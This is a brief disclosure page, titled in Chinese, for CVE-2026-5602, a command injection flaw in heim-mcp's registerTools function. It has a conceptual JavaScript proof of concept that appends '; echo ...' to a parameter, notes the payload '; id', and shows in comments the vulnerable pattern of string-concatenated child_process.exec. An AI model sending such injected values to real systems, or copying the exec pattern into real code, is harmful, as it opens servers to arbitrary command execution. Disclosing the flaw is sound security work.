CVE-2026-5602 heim-mcp操作系统命令注入漏洞

// PoC for CVE-2026-5602 // Vulnerability: OS Command Injection in registerTools // Payload: ; id function exploit() { // Simulating the vulnerable function call // Attacker controls the input to the deployment tool let userInput = "valid_param; echo 'CVE-2026-5602 POC'"; // Vulnerable code pattern (conceptual) // let cmd = "deploy_app " + userInput; // require('child_process').exec(cmd); console.log("Payload injected: " + userInput); } exploit();